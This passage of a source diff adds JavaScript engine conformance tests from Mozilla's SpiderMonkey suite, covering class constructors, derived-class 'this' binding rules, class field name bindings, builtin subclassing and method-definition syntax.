+assertEq(Object.getPrototypeOf(new base()), base.prototype);
+assertEq(new base().method(), 1);
+assertEq(new base().gen().next().value, 2);
+assertEq(base.sMethod(), 3);
+assertEq(new base().answer, 42);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/defaultConstructorDerivedSpread.js b/js/src/tests/non262/class/defaultConstructorDerivedSpread.js
new file mode 100644
index 0000000000..2b85e4d3d9
--- /dev/null
+++ b/js/src/tests/non262/class/defaultConstructorDerivedSpread.js
@@ -0,0 +1,19 @@
+/* Make sure that the default derived class constructor has the required spread semantics.
+ *
+ * Test credit André Bargull
+ */
+
+Array.prototype[Symbol.iterator] = function*() { yield 1; yield 2; };
+
+class Base {
+ constructor(a, b) {
+ assertEq(a, 1);
+ assertEq(b, 2);
+ }
+};
+class Derived extends Base {};
+
+new Derived();
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/defaultConstructorNotCallable.js b/js/src/tests/non262/class/defaultConstructorNotCallable.js
new file mode 100644
index 0000000000..558f8dcc2f
--- /dev/null
+++ b/js/src/tests/non262/class/defaultConstructorNotCallable.js
@@ -0,0 +1,8 @@
+class badBase {}
+assertThrowsInstanceOf(badBase, TypeError);
+
+class badSub extends (class {}) {}
+assertThrowsInstanceOf(badSub, TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/derivedConstructorArrowEvalBinding.js b/js/src/tests/non262/class/derivedConstructorArrowEvalBinding.js
new file mode 100644
index 0000000000..d6b15baab3
--- /dev/null
+++ b/js/src/tests/non262/class/derivedConstructorArrowEvalBinding.js
@@ -0,0 +1,12 @@
+// Make sure it doesn't matter when we make the arrow function
+new class extends class { } {
+ constructor() {
+ let arrow = () => this;
+ assertThrowsInstanceOf(arrow, ReferenceError);
+ super();
+ assertEq(arrow(), this);
+ }
+}();
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/derivedConstructorArrowEvalClosed.js b/js/src/tests/non262/class/derivedConstructorArrowEvalClosed.js
new file mode 100644
index 0000000000..431a73c92f
--- /dev/null
+++ b/js/src/tests/non262/class/derivedConstructorArrowEvalClosed.js
@@ -0,0 +1,11 @@
+new class extends class { } {
+ constructor() {
+ let a1 = () => this;
+ let a2 = (() => super());
+ assertThrowsInstanceOf(a1, ReferenceError);
+ assertEq(a2(), a1());
+ }
+}();
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/derivedConstructorArrowEvalEscape.js b/js/src/tests/non262/class/derivedConstructorArrowEvalEscape.js
new file mode 100644
index 0000000000..2676d4b946
--- /dev/null
+++ b/js/src/tests/non262/class/derivedConstructorArrowEvalEscape.js
@@ -0,0 +1,13 @@
+let arrow;
+
+class foo extends class { } {
+ constructor() {
+ arrow = () => this;
+ super();
+ }
+}
+
+assertEq(new foo(), arrow());
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/derivedConstructorArrowEvalEscapeUninitialized.js b/js/src/tests/non262/class/derivedConstructorArrowEvalEscapeUninitialized.js
new file mode 100644
index 0000000000..970beb0436
--- /dev/null
+++ b/js/src/tests/non262/class/derivedConstructorArrowEvalEscapeUninitialized.js
@@ -0,0 +1,38 @@
+let superArrow;
+let thisArrow;
+
+let thisStash;
+
+class base {
+ constructor() {
+ // We run this constructor twice as part of the double init check
+ if (!thisStash)
+ thisStash = {prop:45};
+ return thisStash;
+ }
+}
+
+class foo extends base {
+ constructor() {
+ superArrow = (()=>super());
+ thisArrow = ()=>this;
+ }
+}
+
+// Populate the arrow function saves. Since we never invoke super(), we throw
+assertThrowsInstanceOf(()=>new foo(), ReferenceError);
+
+// No |this| binding in the closure, yet
+assertThrowsInstanceOf(thisArrow, ReferenceError);
+
+// call super()
+superArrow();
+
+// Can't call it twice
+assertThrowsInstanceOf(superArrow, ReferenceError);
+
+// Oh look, |this| is populated, now.
+assertEq(thisArrow(), thisStash);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/derivedConstructorArrowEvalGetThis.js b/js/src/tests/non262/class/derivedConstructorArrowEvalGetThis.js
new file mode 100644
index 0000000000..26f9843d2c
--- /dev/null
+++ b/js/src/tests/non262/class/derivedConstructorArrowEvalGetThis.js
@@ -0,0 +1,10 @@
+new class extends class { } {
+ constructor() {
+ super();
+ assertEq(this, (()=>this)());
+ assertEq(this, eval("this"));
+ }
+}();
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/derivedConstructorArrowEvalNestedSuperCall.js b/js/src/tests/non262/class/derivedConstructorArrowEvalNestedSuperCall.js
new file mode 100644
index 0000000000..d81f186485
--- /dev/null
+++ b/js/src/tests/non262/class/derivedConstructorArrowEvalNestedSuperCall.js
@@ -0,0 +1,34 @@
+new class extends class { } {
+ constructor() {
+ (()=>eval("super()"))();
+ assertEq(this, eval("this"));
+ assertEq(this, (()=>this)());
+ }
+}();
+
+new class extends class { } {
+ constructor() {
+ (()=>(()=>super())())();
+ assertEq(this, eval("this"));
+ assertEq(this, (()=>this)());
+ }
+}();
+
+new class extends class { } {
+ constructor() {
+ eval("(()=>super())()");
+ assertEq(this, eval("this"));
+ assertEq(this, (()=>this)());
+ }
+}();
+
+new class extends class { } {
+ constructor() {
+ eval("eval('super()')");
+ assertEq(this, eval("this"));
+ assertEq(this, (()=>this)());
+ }
+}();
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/derivedConstructorArrowEvalSuperCall.js b/js/src/tests/non262/class/derivedConstructorArrowEvalSuperCall.js
new file mode 100644
index 0000000000..0f60df7465
--- /dev/null
+++ b/js/src/tests/non262/class/derivedConstructorArrowEvalSuperCall.js
@@ -0,0 +1,18 @@
+new class extends class { } {
+ constructor() {
+ assertEq(eval("super(); this"), this);
+ assertEq(this, eval("this"));
+ assertEq(this, (()=>this)());
+ }
+}();
+
+new class extends class { } {
+ constructor() {
+ (()=>super())();
+ assertEq(this, eval("this"));
+ assertEq(this, (()=>this)());
+ }
+}();
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/derivedConstructorInlining.js b/js/src/tests/non262/class/derivedConstructorInlining.js
new file mode 100644
index 0000000000..53b6a52f24
--- /dev/null
+++ b/js/src/tests/non262/class/derivedConstructorInlining.js
@@ -0,0 +1,19 @@
+// Since we (for now!) can't emit jitcode for derived class statements. Make
+// sure we can correctly invoke derived class constructors.
+
+class foo extends null {
+ constructor() {
+ // Anything that tests |this| should throw, so just let it run off the
+ // end.
+ }
+}
+
+function intermediate() {
+ new foo();
+}
+
+for (let i = 0; i < 1100; i++)
+ assertThrownErrorContains(intermediate, "this");
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/derivedConstructorName.js b/js/src/tests/non262/class/derivedConstructorName.js
new file mode 100644
index 0000000000..13d47addb4
--- /dev/null
+++ b/js/src/tests/non262/class/derivedConstructorName.js
@@ -0,0 +1,11 @@
+class A {
+ constructor() { }
+}
+
+class B extends A { }
+
+var b = new B();
+assertEq(b.constructor.name, "B");
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/derivedConstructorReturnPrimitive.js b/js/src/tests/non262/class/derivedConstructorReturnPrimitive.js
new file mode 100644
index 0000000000..8b1594fa81
--- /dev/null
+++ b/js/src/tests/non262/class/derivedConstructorReturnPrimitive.js
@@ -0,0 +1,15 @@
+class foo extends null {
+ constructor() {
+ // Returning a primitive is a TypeError in derived constructors. This
+ // ensures that super() can take the return value directly, without
+ // checking it. Use |null| here, as a tricky check to make sure we
+ // didn't lump it in with the object check, somehow.
+ return null;
+ }
+}
+
+for (let i = 0; i < 1100; i++)
+ assertThrownErrorContains(() => new foo(), "return");
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/derivedConstructorTDZExplicitThis.js b/js/src/tests/non262/class/derivedConstructorTDZExplicitThis.js
new file mode 100644
index 0000000000..4a4922d57e
--- /dev/null
+++ b/js/src/tests/non262/class/derivedConstructorTDZExplicitThis.js
@@ -0,0 +1,12 @@
+class foo extends null {
+ constructor() {
+ this;
+ assertEq(false, true);
+ }
+}
+
+for (let i = 0; i < 1100; i++)
+ assertThrownErrorContains(() => new foo(), "this");
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/derivedConstructorTDZOffEdge.js b/js/src/tests/non262/class/derivedConstructorTDZOffEdge.js
new file mode 100644
index 0000000000..28a2c377ca
--- /dev/null
+++ b/js/src/tests/non262/class/derivedConstructorTDZOffEdge.js
@@ -0,0 +1,11 @@
+class foo extends null {
+ constructor() {
+ // Let it fall off the edge and throw.
+ }
+}
+
+for (let i = 0; i < 1100; i++)
+ assertThrownErrorContains(() => new foo(), "this");
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/derivedConstructorTDZReturnAliasedTry.js b/js/src/tests/non262/class/derivedConstructorTDZReturnAliasedTry.js
new file mode 100644
index 0000000000..3399c69b0c
--- /dev/null
+++ b/js/src/tests/non262/class/derivedConstructorTDZReturnAliasedTry.js
@@ -0,0 +1,14 @@
+class base {}
+class derived extends base {
+ constructor() {
+ try {
+ (function() { p1(eval()) }())
+ } catch (e) {
+ return
+ }
+ }
+}
+assertThrowsInstanceOf(()=>new derived(), ReferenceError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/derivedConstructorTDZReturnObject.js b/js/src/tests/non262/class/derivedConstructorTDZReturnObject.js
new file mode 100644
index 0000000000..48206a881e
--- /dev/null
+++ b/js/src/tests/non262/class/derivedConstructorTDZReturnObject.js
@@ -0,0 +1,13 @@
+class foo extends null {
+ constructor() {
+ // If you return an object, we don't care that |this| went
+ // uninitialized
+ return {};
+ }
+}
+
+for (let i = 0; i < 1100; i++)
+ new foo();
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/derivedConstructorTDZReturnTry.js b/js/src/tests/non262/class/derivedConstructorTDZReturnTry.js
new file mode 100644
index 0000000000..96791c0e78
--- /dev/null
+++ b/js/src/tests/non262/class/derivedConstructorTDZReturnTry.js
@@ -0,0 +1,16 @@
+class base {}
+class derived extends base {
+ constructor() {
+ try {
+ return;
+ } catch (e) {
+ try {
+ return;
+ } catch (e) {}
+ }
+ }
+}
+assertThrowsInstanceOf(() => new derived, ReferenceError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/derivedConstructorTDZReturnUndefined.js b/js/src/tests/non262/class/derivedConstructorTDZReturnUndefined.js
new file mode 100644
index 0000000000..21b8a3a05c
--- /dev/null
+++ b/js/src/tests/non262/class/derivedConstructorTDZReturnUndefined.js
@@ -0,0 +1,13 @@
+class foo extends null {
+ constructor() {
+ // Explicit returns of undefined should act the same as falling off the
+ // end of the function. That is to say, they should throw.
+ return undefined;
+ }
+}
+
+for (let i = 0; i < 1100; i++)
+ assertThrownErrorContains(() => new foo(), "this");
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/extendBuiltinConstructors.js b/js/src/tests/non262/class/extendBuiltinConstructors.js
new file mode 100644
index 0000000000..f823d81343
--- /dev/null
+++ b/js/src/tests/non262/class/extendBuiltinConstructors.js
@@ -0,0 +1,110 @@
+function testBuiltinInstanceIsInstanceOf(instance, builtin, class_) {
+ assertEq(instance instanceof class_, true);
+ assertEq(instance instanceof builtin, true);
+
+ if (builtin === Array)
+ assertEq(Array.isArray(instance), true);
+}
+
+function testBuiltinInstance(builtin, ...args) {
+ class sub extends builtin {
+ constructor(...args) {
+ super(...args);
+ this.called = true;
+ }
+ }
+
+ let instance = new sub(...args);
+ assertEq(instance.called, true);
+ testBuiltinInstanceIsInstanceOf(instance, builtin, sub);
+}
+
+function testBuiltinMultipleSubclasses(builtin, ...args) {
+ function f(obj, prop) {
+ assertEq(obj.prop, prop);
+ }
+
+ class sub1 extends builtin { };
+ class sub2 extends builtin { };
+
+ const prop1 = "A";
+ const prop2 = "B";
+
+ sub1.prototype.prop = prop1;
+ sub2.prototype.prop = prop2;
+
+ let instance1 = new sub1(...args);
+ let instance2 = new sub2(...args);
+
+ // Also make sure we get the properties we want with a default constructor
+ testBuiltinInstanceIsInstanceOf(instance1, builtin, sub1);
+
+ for (let i = 0; i < 10; i++) {
+ f(instance1, prop1);
+ f(instance2, prop2);
+ }
+}
+
+function testBuiltin(builtin, ...args) {
+ testBuiltinInstance(builtin, ...args);
+ testBuiltinMultipleSubclasses(builtin, ...args);
+}
+
+function testBuiltinTypedArrays() {
+ let typedArrays = [Int8Array,
+ Uint8Array,
+ Uint8ClampedArray,
+ Int16Array,
+ Uint16Array,
+ Int32Array,
+ Uint32Array,
+ Float32Array,
+ Float64Array];
+
+ for (let array of typedArrays) {
+ testBuiltin(array);
+ testBuiltin(array, 5);
+ testBuiltin(array, new array());
+ testBuiltin(array, new ArrayBuffer());
+ }
+}
+
+testBuiltin(Function);
+testBuiltin(Object);
+testBuiltin(Boolean);
+testBuiltin(Error);
+testBuiltin(EvalError);
+testBuiltin(RangeError);
+testBuiltin(ReferenceError);
+testBuiltin(SyntaxError);
+testBuiltin(TypeError);
+testBuiltin(URIError);
+testBuiltin(Number);
+testBuiltin(Date);
+testBuiltin(Date, 5);
+testBuiltin(Date, 5, 10);
+testBuiltin(RegExp);
+testBuiltin(RegExp, /Regexp Argument/);
+testBuiltin(RegExp, "String Argument");
+testBuiltin(Map);
+testBuiltin(Set);
+testBuiltin(WeakMap);
+testBuiltin(WeakSet);
+testBuiltin(ArrayBuffer);
+testBuiltinTypedArrays();
+testBuiltin(DataView, new ArrayBuffer());
+testBuiltin(DataView, new (newGlobal().ArrayBuffer)());
+testBuiltin(String);
+testBuiltin(Array);
+testBuiltin(Array, 15);
+testBuiltin(Array, 3.0);
+testBuiltin(Array, "non-length one-arg");
+testBuiltin(Array, 5, 10, 15, "these are elements");
+// More Promise subclassing tests can be found in non262/Promise/promise-subclassing.js
+testBuiltin(Promise, _=>{});
+
+if (this.SharedArrayBuffer)
+ testBuiltin(SharedArrayBuffer);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/fields-instance-class-name-binding-eval.js b/js/src/tests/non262/class/fields-instance-class-name-binding-eval.js
new file mode 100644
index 0000000000..6b6d3a0857
--- /dev/null
+++ b/js/src/tests/non262/class/fields-instance-class-name-binding-eval.js
@@ -0,0 +1,40 @@
+// Instance field initialisers can access the inner name binding for class definitions.
+{
+ class C {
+ field = eval("C");
+ }
+ assertEq(new C().field, C);
+}
+{
+ let C = class Inner {
+ field = eval("Inner");
+ };
+ assertEq(new C().field, C);
+}
+
+// Instance field initialiser expressions always resolve the inner name binding.
+{
+ class C {
+ field = () => eval("C");
+ }
+ assertEq(new C().field(), C);
+
+ const D = C;
+ C = null;
+
+ assertEq(new D().field(), D);
+}
+{
+ let C = class Inner {
+ field = () => eval("Inner");
+ }
+ assertEq(new C().field(), C);
+
+ const D = C;
+ C = null;
+
+ assertEq(new D().field(), D);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/class/fields-instance-class-name-binding.js b/js/src/tests/non262/class/fields-instance-class-name-binding.js
new file mode 100644
index 0000000000..10cac12504
--- /dev/null
+++ b/js/src/tests/non262/class/fields-instance-class-name-binding.js
@@ -0,0 +1,40 @@
+// Instance field initialisers can access the inner name binding for class definitions.
+{
+ class C {
+ field = C;
+ }
+ assertEq(new C().field, C);
+}
+{
+ let C = class Inner {
+ field = Inner;
+ };
+ assertEq(new C().field, C);
+}
+
+// Instance field initialiser expressions always resolve the inner name binding.
+{
+ class C {
+ field = () => C;
+ }
+ assertEq(new C().field(), C);
+
+ const D = C;
+ C = null;
+
+ assertEq(new D().field(), D);
+}
+{
+ let C = class Inner {
+ field = () => Inner;
+ }
+ assertEq(new C().field(), C);
+
+ const D = C;
+ C = null;
+
+ assertEq(new D().field(), D);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/class/fields-static-class-name-binding-eval.js b/js/src/tests/non262/class/fields-static-class-name-binding-eval.js
new file mode 100644
index 0000000000..34185e7ecd
--- /dev/null
+++ b/js/src/tests/non262/class/fields-static-class-name-binding-eval.js
@@ -0,0 +1,59 @@
+// Static field initialisers can access the inner name binding for class definitions.
+{
+ class C {
+ static field = eval("C");
+ }
+ assertEq(C.field, C);
+}
+{
+ let C = class Inner {
+ static field = eval("Inner");
+ };
+ assertEq(C.field, C);
+}
+
+// Static field initialisers can't access the outer name binding for class expressions
+// before it has been initialised.
+{
+ assertThrowsInstanceOf(() => {
+ let C = class {
+ static field = eval("C");
+ };
+ }, ReferenceError);
+}
+
+// Static field initialisers can access the outer name binding for class expressions after
+// the binding has been initialised
+{
+ let C = class {
+ static field = () => eval("C");
+ };
+ assertEq(C.field(), C);
+}
+
+// Static field initialiser expressions always resolve the inner name binding.
+{
+ class C {
+ static field = () => eval("C");
+ }
+ assertEq(C.field(), C);
+
+ const D = C;
+ C = null;
+
+ assertEq(D.field(), D);
+}
+{
+ let C = class Inner {
+ static field = () => eval("Inner");
+ }
+ assertEq(C.field(), C);
+
+ const D = C;
+ C = null;
+
+ assertEq(D.field(), D);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/class/fields-static-class-name-binding.js b/js/src/tests/non262/class/fields-static-class-name-binding.js
new file mode 100644
index 0000000000..54032b03ff
--- /dev/null
+++ b/js/src/tests/non262/class/fields-static-class-name-binding.js
@@ -0,0 +1,59 @@
+// Static field initialisers can access the inner name binding for class definitions.
+{
+ class C {
+ static field = C;
+ }
+ assertEq(C.field, C);
+}
+{
+ let C = class Inner {
+ static field = Inner;
+ };
+ assertEq(C.field, C);
+}
+
+// Static field initialisers can't access the outer name binding for class expressions
+// before it has been initialised.
+{
+ assertThrowsInstanceOf(() => {
+ let C = class {
+ static field = C;
+ };
+ }, ReferenceError);
+}
+
+// Static field initialisers can access the outer name binding for class expressions after
+// the binding has been initialised
+{
+ let C = class {
+ static field = () => C;
+ };
+ assertEq(C.field(), C);
+}
+
+// Static field initialiser expressions always resolve the inner name binding.
+{
+ class C {
+ static field = () => C;
+ }
+ assertEq(C.field(), C);
+
+ const D = C;
+ C = null;
+
+ assertEq(D.field(), D);
+}
+{
+ let C = class Inner {
+ static field = () => Inner;
+ }
+ assertEq(C.field(), C);
+
+ const D = C;
+ C = null;
+
+ assertEq(D.field(), D);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/class/geterNoExprClosure.js b/js/src/tests/non262/class/geterNoExprClosure.js
new file mode 100644
index 0000000000..e37cb287a9
--- /dev/null
+++ b/js/src/tests/non262/class/geterNoExprClosure.js
@@ -0,0 +1,20 @@
+// getter/setter with expression closure is allowed only in object literal.
+
+assertThrowsInstanceOf(() => eval(`
+ class foo {
+ constructor() {}
+
+ get a() 1
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ class foo {
+ constructor() {}
+
+ set a(v) 1
+ }
+`), SyntaxError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/innerBinding.js b/js/src/tests/non262/class/innerBinding.js
new file mode 100644
index 0000000000..b1afa177e0
--- /dev/null
+++ b/js/src/tests/non262/class/innerBinding.js
@@ -0,0 +1,86 @@
+// Named class definitions should create an immutable inner binding.
+// Since all code in classes is in strict mode, attempts to mutate it
+// should throw.
+class Foof { constructor() { }; tryBreak() { Foof = 4; } }
+for (let result of [Foof, class Bar { constructor() { }; tryBreak() { Bar = 4; } }])
+ assertThrowsInstanceOf(() => new result().tryBreak(), TypeError);
+
+{
+ class foo { constructor() { }; tryBreak() { foo = 4; } }
+ for (let result of [foo, class Bar { constructor() { }; tryBreak() { Bar = 4 } }])
+ assertThrowsInstanceOf(() => new result().tryBreak(), TypeError);
+}
+
+// TDZ applies to inner bindings
+assertThrowsInstanceOf(()=>eval(`class Bar {
+ constructor() { };
+ [Bar] () { };
+ }`), ReferenceError);
+
+assertThrowsInstanceOf(()=>eval(`(class Bar {
+ constructor() { };
+ [Bar] () { };
+ })`), ReferenceError);
+
+// There's no magic "inner binding" global
+{
+ class Foo {
+ constructor() { };
+ test() {
+ class Bar {
+ constructor() { }
+ test() { return Foo === Bar }
+ }
+ return new Bar().test();
+ }
+ }
+ assertEq(new Foo().test(), false);
+ assertEq(new class foo {
+ constructor() { };
+ test() {
+ return new class bar {
+ constructor() { }
+ test() { return foo === bar }
+ }().test();
+ }
+ }().test(), false);
+}
+
+// Inner bindings are shadowable
+{
+ class Foo {
+ constructor() { }
+ test(Foo) { return Foo; }
+ }
+ assertEq(new Foo().test(4), 4);
+ assertEq(new class foo {
+ constructor() { };
+ test(foo) { return foo }
+ }().test(4), 4);
+}
+
+// Inner bindings in expressions should shadow even existing names.
+class Foo { constructor() { } static method() { throw new Error("NO!"); } }
+assertEq(new class Foo {
+ constructor() { };
+ static method() { return 4; };
+ test() { return Foo.method(); }
+ }().test(), 4);
+
+// The outer binding is distinct from the inner one
+{
+ let orig_X;
+
+ class X {
+ constructor() { }
+ f() { assertEq(X, orig_X); }
+ }
+
+ orig_X = X;
+ X = 13;
+ assertEq(X, 13);
+ new orig_X().f();
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "OK");
diff --git a/js/src/tests/non262/class/member-expr-after-super.js b/js/src/tests/non262/class/member-expr-after-super.js
new file mode 100644
index 0000000000..fa965b24e5
--- /dev/null
+++ b/js/src/tests/non262/class/member-expr-after-super.js
@@ -0,0 +1,44 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+class Base {
+ get test() {
+ return "ok";
+ }
+}
+
+class SuperThenProperty extends Base {
+ constructor() {
+ var result = super().test;
+ return {result};
+ }
+}
+assertEq(new SuperThenProperty().result, "ok");
+
+class SuperThenMember extends Base {
+ constructor() {
+ var result = super()["tes" + String.fromCodePoint("t".codePointAt(0))];
+ return {result};
+ }
+}
+assertEq(new SuperThenMember().result, "ok");
+
+class SuperThenCall extends Function {
+ constructor() {
+ var result = super("o, k", "return o + k;")("o", "k");
+ return {result};
+ }
+}
+assertEq(new SuperThenCall().result, "ok");
+
+class SuperThenTemplateCall extends Function {
+ constructor() {
+ var result = super("cooked", "return cooked[0][0] + cooked.raw[0][1];")`ok`;
+ return {result};
+ }
+}
+assertEq(new SuperThenTemplateCall().result, "ok");
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/class/methDefn.js b/js/src/tests/non262/class/methDefn.js
new file mode 100644
index 0000000000..9513bdfb30
--- /dev/null
+++ b/js/src/tests/non262/class/methDefn.js
@@ -0,0 +1,204 @@
+var BUGNUMBER = 924672;
+var summary = 'Method Definitions'
+
+print(BUGNUMBER + ": " + summary);
+
+// Function definitions.
+function syntaxError (script) {
+ try {
+ Function(script);
+ } catch (e) {
+ if (e instanceof SyntaxError) {
+ return;
+ }
+ }
+ throw new Error('Expected syntax error: ' + script);
+}
+
+
+// Tests begin.
+
+syntaxError("{a(){}}");
+syntaxError("b = {a(");
+syntaxError("b = {a)");
+syntaxError("b = {a(}");
+syntaxError("b = {a)}");
+syntaxError("b = {a()");
+syntaxError("b = {a()}");
+syntaxError("b = {a(){}");
+syntaxError("b = {a){}");
+syntaxError("b = {a}}");
+syntaxError("b = {a{}}");
+syntaxError("b = {a({}}");
+syntaxError("b = {a@(){}}");
+syntaxError("b = {a() => 0}");
+syntaxError("b = {a() void 0}");
+syntaxError("b = {a() 1}");
+syntaxError("b = {a() false}");
+
+b = {a(){return 5;}};
+assertEq(b.a(), 5);
+
+b = {a(){return "hey";}};
+assertEq(b.a(), "hey");
+
+b = {a(){return arguments;}};
+assertEq(b.a().length, 0);
+
+b = {a(c){return arguments;}};
+assertEq(b.a().length, 0);
+
+b = {a(c){return arguments;}};
+assertEq(b.a(1).length, 1);
+
+b = {a(c){return arguments;}};
+assertEq(b.a(1)[0], 1);
+
+b = {a(c,d){return arguments;}};
+assertEq(b.a(1,2).length, 2);
+
+b = {a(c,d){return arguments;}};
+assertEq(b.a(1,2)[0], 1);
+
+b = {a(c,d){return arguments;}};
+assertEq(b.a(1,2)[1], 2);
+
+// Methods along with other properties.
+syntaxError("b = {,a(){}}");
+syntaxError("b = {@,a(){}}");
+syntaxError("b = {a(){},@}");
+syntaxError("b = {a : 5 , (){}}");
+syntaxError("b = {a : 5@ , a(){}}");
+syntaxError("b = {a : , a(){}}");
+syntaxError("b = {a : 5, a()}}");
+syntaxError("b = {a : 5, a({}}");
+syntaxError("b = {a : 5, a){}}");
+syntaxError("b = {a : 5, a(){}");
+var c = "d";
+b = { a : 5,
+ [c] : "hey",
+ e() {return 6;},
+ get f() {return 7;},
+ set f(g) {this.h = 9;}
+}
+assertEq(b.a, 5);
+assertEq(b.d, "hey");
+assertEq(b.e(), 6);
+assertEq(b.f, 7);
+assertEq(b.h !== 9, true);
+b.f = 15;
+assertEq(b.h, 9);
+
+
+var i = 0;
+var a = {
+ foo0 : function (){return 0;},
+ ["foo" + ++i](){return 1;},
+ ["foo" + ++i](){return 2;},
+ ["foo" + ++i](){return 3;},
+ foo4(){return 4;}
+};
+assertEq(a.foo0(), 0);
+assertEq(a.foo1(), 1);
+assertEq(a.foo2(), 2);
+assertEq(a.foo3(), 3);
+assertEq(a.foo4(), 4);
+
+// Symbols.
+var unique_sym = Symbol("1"), registered_sym = Symbol.for("2");
+a = { [unique_sym](){return 2;}, [registered_sym](){return 3;} };
+assertEq(a[unique_sym](), 2);
+assertEq(a[registered_sym](), 3);
+
+// Method characteristics.
+a = { b(){ return 4;} };
+b = Object.getOwnPropertyDescriptor(a, "b");
+assertEq(b.configurable, true);
+assertEq(b.enumerable, true);
+assertEq(b.writable, true);
+assertEq(b.value(), 4);
+
+// prototype property
+assertEq(a.b.prototype, undefined);
+assertEq(a.b.hasOwnProperty("prototype"), false);
+
+// Defining several methods using eval.
+var code = "({";
+for (i = 0; i < 1000; i++)
+ code += "['foo' + " + i + "]() {return 'ok';}, "
+code += "['bar']() {return 'all ok'}});";
+var obj = eval(code);
+for (i = 0; i < 1000; i++)
+ assertEq(obj["foo" + i](), "ok");
+assertEq(obj["bar"](), "all ok");
+
+// this
+var obj = {
+ a : "hey",
+ meth(){return this.a;}
+}
+assertEq(obj.meth(), "hey");
+
+// Inheritance
+var obj2 = Object.create(obj);
+assertEq(obj2.meth(), "hey");
+
+var obj = {
+ a() {
+ return "hey";
+ }
+}
+assertEq(obj.a.call(), "hey");
+
+// Duplicates
+var obj = {
+ meth : 3,
+ meth() { return 4; },
+ meth() { return 5; }
+}
+assertEq(obj.meth(), 5);
+
+var obj = {
+ meth() { return 4; },
+ meth() { return 5; },
+ meth : 3
+}
+assertEq(obj.meth, 3);
+assertThrowsInstanceOf(function() {obj.meth();}, TypeError);
+
+// Strict mode
+a = {b(c){"use strict";return c;}};
+assertEq(a.b(1), 1);
+a = {["b"](c){"use strict";return c;}};
+assertEq(a.b(1), 1);
+
+// Allow strict-reserved names as methods in objects.
+// (Bug 1124362)
+a = { static() { return 4; } };
+assertEq(a.static(), 4);
+
+a = { get static() { return 4; } };
+assertEq(a.static, 4);
+
+a = { set static(x) { assertEq(x, 4); } };
+a.static = 4;
+
+function testStrictMode() {
+ "use strict";
+ var obj = { static() { return 4; } };
+ assertEq(obj.static(), 4);
+
+ obj = { get static() { return 4; } };
+ assertEq(obj.static, 4);
+
+ obj = { set static(x) { assertEq(x, 4); } };
+ obj.static = 4;
+}
+testStrictMode();
+
+// Tests provided by benvie in the bug to distinguish from ES5 desugar.
+assertEq(({ method() {} }).method.name, "method");
+assertThrowsInstanceOf(function() {({ method() { method() } }).method() }, ReferenceError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/class/methDefnGen.js b/js/src/tests/non262/class/methDefnGen.js
new file mode 100644
index 0000000000..3165ed4481
--- /dev/null
+++ b/js/src/tests/non262/class/methDefnGen.js
@@ -0,0 +1,83 @@
+var BUGNUMBER = 924672;
+var summary = 'Method Definitions - Generators'
+
+print(BUGNUMBER + ": " + summary);
+
+// Function definitions.
+function syntaxError (script) {
+ try {
+ Function(script);
+ } catch (e) {
+ if (e instanceof SyntaxError) {
+ return;
+ }
+ }
+ throw new Error('Expected syntax error: ' + script);
+}
+
+
+// Tests begin.
+
+syntaxError("{*a(){}}");
+syntaxError("b = {*(){}");
+syntaxError("b = {*{}");
+syntaxError("b = {*){}");
+syntaxError("b = {*({}");
+syntaxError("b = {*(){");
+syntaxError("b = {*()}");
+syntaxError("b = {*a(");
+syntaxError("b = {*a)");
+syntaxError("b = {*a(}");
+syntaxError("b = {*a)}");
+syntaxError("b = {*a()");
+syntaxError("b = {*a()}");
+syntaxError("b = {*a(){}");
+syntaxError("b = {*a){}");
+syntaxError("b = {*a}}");
+syntaxError("b = {*a{}}");
